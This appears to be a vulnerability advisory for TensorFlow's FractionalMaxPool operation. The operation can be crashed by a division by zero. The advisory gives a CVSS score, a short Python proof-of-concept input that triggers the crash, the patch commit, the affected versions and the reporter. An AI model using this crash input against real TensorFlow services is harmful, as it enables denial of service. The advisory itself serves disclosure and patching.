PT-2026-59751

Published

2026-07-09

·

Updated

2026-07-09

Description by

CVSS 3.1
6.5
Medium
MetricsAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Impact

The [implementation of FractionalMaxPool](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional max pool op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:
python
import tensorflow as tf
import numpy as np

tf.raw ops.FractionalMaxPool(
 value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),
 pooling ratio=[1.0, 1.44, 1.73, 1.0],
 pseudo random=False,
 overlapping=False,
 deterministic=False,
 seed=0,
 seed2=0,
 name=None)

Patches

We have patched the issue in GitHub commit ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
Exploitability
Fix
Vendors
Affected products
Related identifiers
PYSEC-2026-3134
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